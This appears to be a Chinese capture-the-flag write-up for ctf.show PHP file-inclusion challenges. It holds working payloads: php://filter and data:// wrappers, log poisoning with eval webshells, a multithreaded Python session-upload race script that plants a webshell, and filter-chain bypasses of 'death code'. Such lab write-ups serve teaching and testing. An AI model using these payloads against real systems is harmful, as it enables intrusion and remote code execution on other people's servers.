web78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
没有过滤,一开始想直接包含flag.php,发现一片空白。使用php://filter伪协议读取flag.php内容,进行base64解码得到flag。
payload:
?file=php://filter/convert.base64-encode/resource=flag.php
web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了php,使用data伪协议即可。
base64编码的内容为: <?=system('tac flag.php');?>
payload:
?file=data://text/plain;base64,PD89c3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
可以看到,php和data都被过滤替换成了三个‘?’。根据hint,可以通过包含nginx的日志文件access.log进行文件包含操作。
使用?file=/var/log/nginx/access.log访问日志,发现会留有记录。
修改UA头,发现可以执行phpinfo命令:
使用&_POST[]传入POST参数,ls查询当前目录,发现flag已被更改文件名:
使用tac命令,得到flag:
对这题思路的个人理解是,首先通过访问向日志写入需要的php命令,比如<?=eval($_POST[1]);?>。当再次访问时会执行这些命令,这时可以添加参数,比如1=system(“tac fl0g.php”);以回显flag。
web81
添加了过滤冒号‘:’
同web80
web82
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
可以看到,’.'也被过滤了。
php中唯一能无后缀控制的,只有session文件。
这题的思路和2021年国赛初赛web的middle_source差不多,都是通过对session临时tmp文件的条件竞争,生成木马文件实现rce。
原理浅析:
- 当开启session时,服务器会在临时目录下创建session文件来保存会话信息,文件名格式为sess_PHPSESSID。一般的linux会将session保存在其中的某一个目录下:
/var/lib/php/
/var/lib/php/sessions/
/tmp/
/tmp/sessions/
-
一般开发的web服务会使用多线程接收用户的请求,而线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,依靠临界区(critical section)。session的临界区即上文说的临时目录。 如果没有应用好同步技术则会产生“竞争条件”问题。意外生成攻击者想要生成的文件,这样攻击者可以在该文件还未被删除的时间段内进行非法操作。 -
PHP_SESSION_UPLOAD_PROGRESS用于设置/tmp目录下生成的sess_PHPSESSID文件的内容
所以我们可以使用python脚本进行多线程请求,生成sess_PHPSESSID文件,实现rce。
python脚本如下:
import requests
import io
import threading
url = 'http://a1ec5255-7dd7-405a-8c05-d61d50ce9ed7.challenge.ctf.show:8080/'
sessionid = 'truthahn'
cookies = {
'PHPSESSID':sessionid
}
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50)
data2 = {
'PHP_SESSION_UPLOAD_PROGRESS':'<?=eval($_POST[1])?>'
}
files = {
'file':('truthahn.jpg',fileBytes)
}
while True:
res = session.post(url,data=data2,cookies=cookies,files=files)
def read(session):
data1 = {
"1":"file_put_contents('/var/www/html/3.php','<?=eval($_POST[2]);?>');"
}
while True:
res = session.post(url+'?file=/tmp/sess_'+sessionid,data=data1,cookies=cookies)
res2 = session.get(url+'3.php')
if res2.status_code == 200:
print('++++++++ Done! +++++++++')
else:
print(res2.status_code)
if __name__ == '__main__':
event = threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
event.set()
在显示Done!后,访问url+3.php,并POST方式传参,即可获取flag:
flag如下:
web83
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
同web82,虽然销毁了session,但我们还是可以自行创建。多运行一会脚本就行了。
web84
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}
同web82。
这题在包含文件命令之前执行了删除/tmp目录下所有文件的操作,貌似session_upload的方式失效了,但实际上该方法仍可使用。
原因在于cpu并发执行时存在间隔时间即分片,当我们多线程请求后,就有可能一个线程中system(“rm -rf /tmp/*”);命令执行完了,另一个线程没有执行删除命令但已写入sess_PHPSESSID文件,这样第一个线程文件包含时session文件仍然存在。基于此可生成一句话木马。
脚本多执行一段时间就会发现返回码从404变成了200ヾ(?ω?`)o
web85
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
}else{
highlight_file(__FILE__);
}
解法一:
同样是运行web82的脚本。
同样是机制问题,多线程并发导致的执行错序。使得不可能成立的逻辑成立了。。。
尝试二(失败):
尝试使用data协议和baes64编码规避对尖括号的过滤,但由于存在反序列化的成分,无法直接调用data协议,所以失败2333
尝试修改脚本中write()函数的data2中PHP_SESSION_UPLOAD_PROGRESS上传的值:
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50)
data2 = { 'PHP_SESSION_UPLOAD_PROGRESS':'data://text/plain;base64,PD89ZXZhbCgkX1BPU1RbMV0pPz4='
}
files = {
'file':('truthahn.jpg',fileBytes)
}
while True:
res = session.post(url,data=data2,cookies=cookies,files=files)
web86
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
设置了包含路径,但不妨碍我们脚本的运行。同web82。
web87
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
这题与之前的都不同,考察的是php的file_put_contents函数写入文件的姿势。
发现语句
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
中对file参数进行了url解码,所以我们可以使用php://filter伪协议的写入操作,并进行两次url编码。又因为同时存在
<?php die('大佬别秀了');?>
这句死亡代码,所以我们可以通过编码让php引擎把该代码识别成乱码,具体可以使用rot13加密:
?file=php:
第一次url全编码:
??file=%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%77%72%69%74%65%3d%73%74%72%69%6e%67%2e%72%6f%74%31%33%2f%72%65%73%6f%75%72%63%65%3d%33%2e%70%68%70
第二次url全编码:
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30
由于使用了rot13加密来混淆杂糅代码,所以我们对content也要进行rot13加密才能让php引擎正确识别:
<?=system('tac f*.php');?>
rot13加密后为:
<?=flfgrz('gnp s*.cuc');?>
至于为什么是用rot13来加密?很简单,rot13两次加密后就会得到原文:
<?=flfgrz('gnp s*.cuc');?>
rot13再次加密后为:
<?=system('tac f*.php');?>
具体payload如下:
编码后:
访问3.php获取flag:
PS:当然,我们也可以使用base64解码来传入content:
对于content:
<?=system('tac f*');?>
base64编码后:
PD89c3lzdGVtKCd0YWMgZionKTs/Pg==
而根据php引擎解码base64编码的机制,死亡代码<?php die('大佬别秀了');?>解析时会被除去不在64个可打印字符中的字符。只剩下:phpdie。
而base64算法解码时是4个byte为一组,所以我们可以在编码后的content之前加两个字符a:
content=aaPD89c3lzdGVtKCd0YWMgZionKTs/Pg==
这样我们之后传入的webshell的baes64内容也被正常解码。详细原理请看P神的博客:谈一谈php://filter的妙用
对于file:
?file=php:
同样两次url全编码即可。
payload2如下:
PS:因为php://filter伪协议支持使用多个过滤器,可使用strip_tags与base64解码组合拳的形式来实现绕过死亡代码:
file:
?file=php:
content:
content=PD89c3lzdGVtKCd0YWMgZionKTs/Pg==
payload3如下:
web88
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
发现这个语句没有过滤字母、正斜杠和冒号’:’,但过滤了等于’=‘号和加’+'号。所以我们可以使用data伪协议和base64编码。我们可以找一个编码后不会有等于号和加号的查询flag的命令:
我找的是:
<?=system('tac f*.php');
编码后为:
PD89c3lzdGVtKCd0YWMgZioucGhwJyk7
具体payload如下:
?file=data:
EXECUTE得到flag:
web116
提示是misc+lfi(Local File Include),发现可以使用file参数访问服务器本地文件。
PS:视频剪得真好?(′▽`)
payload:
?file=flag.php
访问payload,ctrl+s保存mp4,用010打开即可(当然也可以用burp抓包)。
也有payload是这样的:
?file=compress.zlib:
同样可以得到flag。不过大佬好像是直接分析首页mp4视频,进行块拼接啥的得到源码。个人不太会misc,以后找个时间研究研究。
web117
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
死亡代码绕过的本质就是使死亡代码过滤为不可执行的代码或出错的代码,将我们的webshell转化为可执行的代码。
这题过滤了base64、rot13、string等常见编码或函数,我们可以用其他的编码来达到目的。
php支持的编码可参见:PHP 扩展支持的字符编码
file:
?file=php:
iconv.UCS-2LE.UCS-2BE编码就是把每两位字符换位。
很简单的编码小脚本:
str = "<?=system('tac f*');"
str_encoded = ''
for i in range(len(str)):
if i % 2 == 1:
str_encoded += str[i]
str_encoded += str[i-1]
print(str_encoded)
contents:
contents=?<s=syet(mt'caf '*;)
访问7.php即可:
参考视频
B站BV号:BV1P64y1Q72q
参考博客
session_upload进行文件包含
php竞争漏洞
死亡代码绕过
谈一谈php://filter的妙用
|